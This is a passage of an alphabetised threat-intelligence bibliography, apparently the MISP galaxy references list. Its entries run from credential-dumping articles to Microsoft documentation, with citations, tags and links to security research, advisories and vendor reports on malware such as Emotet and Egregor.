Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.

The tag is: *misp-galaxy:references="dump_pwd_dcsync"*

Table 20448. Table References

Links
https://adsecurity.org/?p=2053

ired mscache

Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="ired mscache"*

Table 20449. Table References

Links
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials

ired Dumping LSA Secrets

Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="ired Dumping LSA Secrets"*

Table 20450. Table References

Links
https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets

DumpMinitool.exe - LOLBAS Project

LOLBAS. (2022, January 20). DumpMinitool.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="DumpMinitool.exe - LOLBAS Project"*

Table 20451. Table References

Links

https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/

DuplicateToken function

Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.

The tag is: *misp-galaxy:references="DuplicateToken function"*

Table 20452. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken

Wikipedia Duqu

Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.

The tag is: *misp-galaxy:references="Wikipedia Duqu"*

Table 20453. Table References

Links
https://en.wikipedia.org/wiki/Duqu

The Record Laundry Bear May 27 2025

Alexander Martin. (2025, May 27). Dutch intelligence unmasks previously unknown Russian hacking group 'Laundry Bear'. Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="The Record Laundry Bear May 27 2025"*

Table 20454. Table References

Links
https://therecord.media/laundry-bear-void-blizzard-russia-hackers-netherlands

Dxcap.exe - LOLBAS Project

LOLBAS. (2018, May 25). Dxcap.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Dxcap.exe - LOLBAS Project"*

Table 20455. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/

TheEvilBit DYLD_INSERT_LIBRARIES

Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.

The tag is: *misp-galaxy:references="TheEvilBit DYLD_INSERT_LIBRARIES"*

Table 20456. Table References

Links
https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/

Wardle Dylib Hijacking OSX 2015

Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Wardle Dylib Hijacking OSX 2015"*

Table 20457. Table References

Links
https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf

Dragos DYMALLOY

Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020.

The tag is: *misp-galaxy:references="Dragos DYMALLOY"*

Table 20458. Table References

Links
https://www.dragos.com/threat/dymalloy/

MWRInfoSecurity Dynamic Hooking 2015

Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="MWRInfoSecurity Dynamic Hooking 2015"*

Table 20459. Table References

Links
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/

rfc2131

Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.

The tag is: *misp-galaxy:references="rfc2131"*

Table 20460. Table References

Links
https://datatracker.ietf.org/doc/html/rfc2131

rfc3315

1. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.

The tag is: *misp-galaxy:references="rfc3315"*

Table 20461. Table References

Links
https://datatracker.ietf.org/doc/html/rfc3315

Microsoft redirection

Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="Microsoft redirection"*

Table 20462. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN

Microsoft DLL Redirection

Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Microsoft DLL Redirection"*

Table 20463. Table References

Links
http://msdn.microsoft.com/en-US/library/ms682600

Microsoft Dynamic-Link Library Redirection

Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Microsoft Dynamic-Link Library Redirection"*

Table 20464. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN

Microsoft Dynamic Link Library Search Order

Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.

The tag is: *misp-galaxy:references="Microsoft Dynamic Link Library Search Order"*

Table 20465. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN

Microsoft DLL Search

Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.

The tag is: *misp-galaxy:references="Microsoft DLL Search"*

Table 20466. Table References

Links
http://msdn.microsoft.com/en-US/library/ms682586

Microsoft Dynamic-Link Library Security

Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.

The tag is: *misp-galaxy:references="Microsoft Dynamic-Link Library Security"*

Table 20467. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN

MSDN DLL Security

Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.

The tag is: *misp-galaxy:references="MSDN DLL Security"*

Table 20468. Table References

Links
https://msdn.microsoft.com/en-us/library/ff919712.aspx

Microsoft DLL Security

Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft DLL Security"*

Table 20469. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx

Symantec Dyre June 2015

Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.

The tag is: *misp-galaxy:references="Symantec Dyre June 2015"*

Table 20470. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf

EA Hacked via Slack - June 2021

Anthony Spadafora. (2021, June 11). EA hack reportedly used stolen cookies and Slack to target gaming giant. Retrieved May 31, 2022.

The tag is: *misp-galaxy:references="EA Hacked via Slack - June 2021"*

Table 20471. Table References

Links
https://www.techradar.com/news/ea-hack-reportedly-used-stolen-cookies-and-slack-to-hack-gaming-giant

CrowdStrike StellarParticle January 2022

CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.

The tag is: *misp-galaxy:references="CrowdStrike StellarParticle January 2022"*

Table 20472. Table References

Links
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

Trend Micro Earth Estries August 30 2023

Ted Lee, Lenart Bermejo, Hara Hiroaki, Leon M Chang, Gilbert Sison. (2023, August 30). Earth Estries Targets Government, Tech for Cyberespionage. Retrieved November 13, 2024.

The tag is: *misp-galaxy:references="Trend Micro Earth Estries August 30 2023"*

Table 20473. Table References

Links
https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html

Trend Micro September 9 2024

Lenart Bermejo; Sunny Lu; Ted Lee Read time. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved September 10, 2024.

The tag is: *misp-galaxy:references="Trend Micro September 9 2024"*

Table 20474. Table References

Links
https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html

Trend Micro Earth Simnavaz October 2024

Fahmy, M. et al. (2024, October 11). Earth Simnavaz (aka APT34) Levies Advanced Cyberattacks Against Middle East. Retrieved November 27, 2024.

The tag is: *misp-galaxy:references="Trend Micro Earth Simnavaz October 2024"*

Table 20475. Table References

Links
https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html

Trend Micro Muddy Water March 2021

Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.

The tag is: *misp-galaxy:references="Trend Micro Muddy Water March 2021"*

Table 20476. Table References

Links
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

Earthworm English Project Page

rootkiter. (2019, March 9). Earthworm. Retrieved July 7, 2023.

The tag is: *misp-galaxy:references="Earthworm English Project Page"*

Table 20477. Table References

Links
http://rootkiter.com/EarthWorm/en/index.html

ESET Ebury May 2024

Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.

The tag is: *misp-galaxy:references="ESET Ebury May 2024"*

Table 20478. Table References

Links
https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf

Wikimedia Foundation Inc. June 25 2004

Wikimedia Foundation Inc.. (2004, June 25). echo (command) - Wikipedia. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. June 25 2004"*

Table 20479. Table References

Links
https://en.wikipedia.org/wiki/Echo_(command)

SEC EDGAR Search

U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="SEC EDGAR Search"*

Table 20480. Table References

Links
https://www.sec.gov/edgar/search/

Intrinsec Egregor Nov 2020

Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="Intrinsec Egregor Nov 2020"*

Table 20481. Table References

Links
https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1

Cybereason Egregor Nov 2020

Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020.

The tag is: *misp-galaxy:references="Cybereason Egregor Nov 2020"*

Table 20482. Table References

Links
https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

Cyble Egregor Oct 2020

Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020.

The tag is: *misp-galaxy:references="Cyble Egregor Oct 2020"*

Table 20483. Table References

Links
https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/

NHS Digital Egregor Nov 2020

NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.

The tag is: *misp-galaxy:references="NHS Digital Egregor Nov 2020"*

Table 20484. Table References

Links
https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary

Security Boulevard Egregor Oct 2020

Meskauskas, T.. (2020, October 29). Egregor: Sekhmet's Cousin. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="Security Boulevard Egregor Oct 2020"*

Table 20485. Table References

Links
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/

U.S. CISA Trends June 30 2020

Cybersecurity and Infrastructure Security Agency. (2020, June 30). EINSTEIN Data Trends – 30-day Lookback. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Trends June 30 2020"*

Table 20486. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-182a

Dragos EKANS

Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021.

The tag is: *misp-galaxy:references="Dragos EKANS"*

Table 20487. Table References

Links
https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/

Dark Reading July 9 2024

Nathan Eddy; Contributing Writer. (2024, July 9). Eldorado Ransomware Cruises Onto the Scene to Target VMware ESXi. Retrieved July 15, 2024.

The tag is: *misp-galaxy:references="Dark Reading July 9 2024"*

Table 20488. Table References

Links
https://www.darkreading.com/endpoint-security/eldorado-ransomware-target-vmware-esxi

Group-IB July 3 2024

Nikolay Kichatov Cyber Intelligence Analyst; Group-IB. (2024, July 3). Eldorado Ransomware The New Golden Empire of Cybercrime . Retrieved July 15, 2024.

The tag is: *misp-galaxy:references="Group-IB July 3 2024"*

Table 20489. Table References

Links
https://www.group-ib.com/blog/eldorado-ransomware/

EldoS RawDisk ITpro

Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019.

The tag is: *misp-galaxy:references="EldoS RawDisk ITpro"*

Table 20490. Table References

Links
https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp

Microsoft Targeting Elections September 2020

Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Microsoft Targeting Elections September 2020"*

Table 20491. Table References

Links
https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/

Secureworks IRON RITUAL USAID Phish May 2021

Secureworks CTU. (2021, May 28). USAID-Themed Phishing Campaign Leverages U.S. Elections Lure. Retrieved February 24, 2022.

The tag is: *misp-galaxy:references="Secureworks IRON RITUAL USAID Phish May 2021"*

Table 20492. Table References

Links
https://www.secureworks.com/blog/usaid-themed-phishing-campaign-leverages-us-elections-lure

Electron Security

ElectronJS.org. (n.d.). Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron Security"*

Table 20493. Table References

Links
https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules

Dragos-Sandworm-Ukraine-2022

Dragos, Inc.. (2023, December 11). ELECTRUM Targeted Ukrainian Electric Entity Using Custom Tools and CaddyWiper Malware, October 2022. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Dragos-Sandworm-Ukraine-2022"*

Table 20494. Table References

Links
https://www.dragos.com/blog/new-details-electrum-ukraine-electric-sector-compromise-2022/

Dragos ELECTRUM

Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="Dragos ELECTRUM"*

Table 20495. Table References

Links
https://www.dragos.com/resource/electrum/

Symantec Elfin Mar 2019

Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.

The tag is: *misp-galaxy:references="Symantec Elfin Mar 2019"*

Table 20496. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

Backtrace VDSO

backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Backtrace VDSO"*

Table 20497. Table References

Links
https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/

Securelist Machete Aug 2014

Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.

The tag is: *misp-galaxy:references="Securelist Machete Aug 2014"*

Table 20498. Table References

Links
https://securelist.com/el-machete/66108/

Cylance Machete Mar 2017

The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.

The tag is: *misp-galaxy:references="Cylance Machete Mar 2017"*

Table 20499. Table References

Links
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html

Sophos News September 24 2020

Sophos News. (2020, September 24). Email-delivered MoDi RAT attack pastes PowerShell commands. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Sophos News September 24 2020"*

Table 20500. Table References

Links
https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands/

Power Automate Email Exfiltration Controls

Microsoft. (2022, February 15). Email exfiltration controls for connectors. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Power Automate Email Exfiltration Controls"*

Table 20501. Table References

Links
https://docs.microsoft.com/en-us/power-platform/admin/block-forwarded-email-from-power-automate

HackersArise Email

Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="HackersArise Email"*

Table 20502. Table References

Links
https://www.hackers-arise.com/email-scraping-and-maltego

Elastic - Koadiac Detection with EQL

Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Elastic - Koadiac Detection with EQL"*

Table 20503. Table References

Links
https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Nccgroup Emissary Panda May 2018

Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.

The tag is: *misp-galaxy:references="Nccgroup Emissary Panda May 2018"*

Table 20504. Table References

Links
https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/

Unit42 Emissary Panda May 2019

Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.

The tag is: *misp-galaxy:references="Unit42 Emissary Panda May 2019"*

Table 20505. Table References

Links
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/

Emissary Trojan Feb 2016

Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.

The tag is: *misp-galaxy:references="Emissary Trojan Feb 2016"*

Table 20506. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/

orangecyberdefense.com August 14 2024

orangecyberdefense.com. (2024, August 14). Emmenhtal a little-known loader distributing commodity infostealers worldwide. Retrieved August 25, 2024.

The tag is: *misp-galaxy:references="orangecyberdefense.com August 14 2024"*

Table 20507. Table References

Links

https://www.orangecyberdefense.com/global/blog/cert-news/emmenhtal-a-little-known-loader-distributing-commodity-infostealers-worldwide

Sophos Emotet Apr 2019

Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Sophos Emotet Apr 2019"*

Table 20508. Table References

Links
https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/

Deep Instinct March 10 2023

Deep Instinct. (2023, March 10). Emotet Again! The First Malspam Wave of 2023 | Deep Instinct. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Deep Instinct March 10 2023"*

Table 20509. Table References

Links
https://www.deepinstinct.com/blog/emotet-again-the-first-malspam-wave-of-2023

CIS Emotet Apr 2017

CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="CIS Emotet Apr 2017"*

Table 20510. Table References

Links
https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/

Binary Defense Emotes Wi-Fi Spreader

Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="Binary Defense Emotes Wi-Fi Spreader"*

Table 20511. Table References

Links
https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/

ESET Emotet Nov 2018

ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="ESET Emotet Nov 2018"*

Table 20512. Table References

Links
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/

emotet_hc3_nov2023

Office of Information Security, Health Sector Cybersecurity Coordination Center. (2023, November 16). Emotet Malware: The Enduring and Persistent Threat to the Health Sector. Retrieved June 19, 2024.

The tag is: *misp-galaxy:references="emotet_hc3_nov2023"*

Table 20513. Table References

Links
https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf

Trend Micro Emotet 2020

Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.

The tag is: *misp-galaxy:references="Trend Micro Emotet 2020"*

Table 20514. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi

Talos Emotet Jan 2019

Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Talos Emotet Jan 2019"*

Table 20515. Table References

Links
https://blog.talosintelligence.com/2019/01/return-of-emotet.html

Cybersécurité - INTRINSEC January 09 2023

Equipe cti. (2023, January 9). Emotet returns and deploys loaders. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Cybersécurité - INTRINSEC January 09 2023"*

Table 20516. Table References

Links
https://www.intrinsec.com/emotet-returns-and-deploys-loaders/

emotet_trendmicro_mar2023

Kenefick, I. (2023, March 13). Emotet Returns, Now Adopts Binary Padding for Evasion. Retrieved June 19, 2024.

The tag is: *misp-galaxy:references="emotet_trendmicro_mar2023"*

Table 20517. Table References

Links
https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html

Emotet shutdown

The DFIR Report. (2022, November 8). Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.

The tag is: *misp-galaxy:references="Emotet shutdown"*

Table 20518. Table References

Links
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/

Carbon Black Emotet Apr 2019

Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.

The tag is: *misp-galaxy:references="Carbon Black Emotet Apr 2019"*

Table 20519. Table References

Links

https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/

DanielManea Emotet May 2017

Manea, D.. (2019, May 25). Emotet v4 Analysis. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="DanielManea Emotet May 2017"*

Table 20520. Table References

Links
https://danielmanea.com/category/reverseengineering/

Empire Keychain Decrypt

Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.

The tag is: *misp-galaxy:references="Empire Keychain Decrypt"*

Table 20521. Table References

Links
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py

Github EmpireProject CreateHijacker Dylib

Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Github EmpireProject CreateHijacker Dylib"*

Table 20522. Table References

Links
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py

Github EmpireProject HijackScanner

Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Github EmpireProject HijackScanner"*

Table 20523. Table References

Links

https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py

Microsoft ASR Nov 2017

Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.

The tag is: *misp-galaxy:references="Microsoft ASR Nov 2017"*

Table 20524. Table References

Links
https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction

Microsoft TESTSIGNING Feb 2021

Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="Microsoft TESTSIGNING Feb 2021"*

Table 20525. Table References

Links
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option

Microsoft Disable DCOM

Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="Microsoft Disable DCOM"*

Table 20526. Table References

Links
https://technet.microsoft.com/library/cc771387.aspx

Microsoft Disable Macros

Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.

The tag is: *misp-galaxy:references="Microsoft Disable Macros"*

Table 20527. Table References

Links

https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6

Microsoft Remote

Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.

The tag is: *misp-galaxy:references="Microsoft Remote"*

Table 20528. Table References

Links
https://technet.microsoft.com/en-us/library/cc754820.aspx

Broadcom ESXi Lockdown Mode

Broadcom. (2025, February 12). Enabling or disabling Lockdown mode on an ESXi host. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Broadcom ESXi Lockdown Mode"*

Table 20529. Table References

Links
https://knowledge.broadcom.com/external/article/336894/enabling-or-disabling-lockdown-mode-on-a.html

PCMag DoubleExtension

PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.

The tag is: *misp-galaxy:references="PCMag DoubleExtension"*

Table 20530. Table References

Links
https://www.pcmag.com/encyclopedia/term/double-extension

Microsoft Entra ID App Passwords

Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.

The tag is: *misp-galaxy:references="Microsoft Entra ID App Passwords"*

Table 20531. Table References

Links

https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords

FireEye Periscope March 2018

FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="FireEye Periscope March 2018"*

Table 20532. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

NCCIC AR-17-20045 February 2017

NCCIC. (2017, February 10). Enhanced Analysis of GRIZZLY STEPPE Activity. Retrieved April 12, 2021.

The tag is: *misp-galaxy:references="NCCIC AR-17-20045 February 2017"*

Table 20533. Table References

Links
https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf

ESET Sednit Part 1

ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.

The tag is: *misp-galaxy:references="ESET Sednit Part 1"*

Table 20534. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf

ESET Sednit Part 2

ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.

The tag is: *misp-galaxy:references="ESET Sednit Part 2"*

Table 20535. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

ESET Sednit Part 3

ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.

The tag is: *misp-galaxy:references="ESET Sednit Part 3"*

Table 20536. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

Google Ensuring Your Information is Safe

Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Google Ensuring Your Information is Safe"*

Table 20537. Table References

Links
https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html

Ensilo Darkgate 2018

Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="Ensilo Darkgate 2018"*

Table 20538. Table References

Links
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign

Fortinet Blog November 13 2018

Fortinet Blog. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Fortinet Blog November 13 2018"*

Table 20539. Table References

Links
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign

Splunk DarkGate

Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="Splunk DarkGate"*

Table 20540. Table References

Links
https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html

Splunk DarkGate January 17 2024

Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved January 24, 2024.

The tag is: *misp-galaxy:references="Splunk DarkGate January 17 2024"*

Table 20541. Table References

Links
https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html

Portcullis Labs September 16 2008

MRL. (2008, September 16). enum4linux - Portcullis Labs. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Portcullis Labs September 16 2008"*

Table 20542. Table References

Links
https://labs.portcullis.co.uk/tools/enum4linux/

Microsoft EnumDeviceDrivers

Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="Microsoft EnumDeviceDrivers"*

Table 20543. Table References

Links
https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers

EK Clueless Agents

Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.

The tag is: *misp-galaxy:references="EK Clueless Agents"*

Table 20544. Table References

Links
https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf

Deloitte Environment Awareness

Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Deloitte Environment Awareness"*

Table 20545. Table References

Links
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit

Microsoft Environment Property

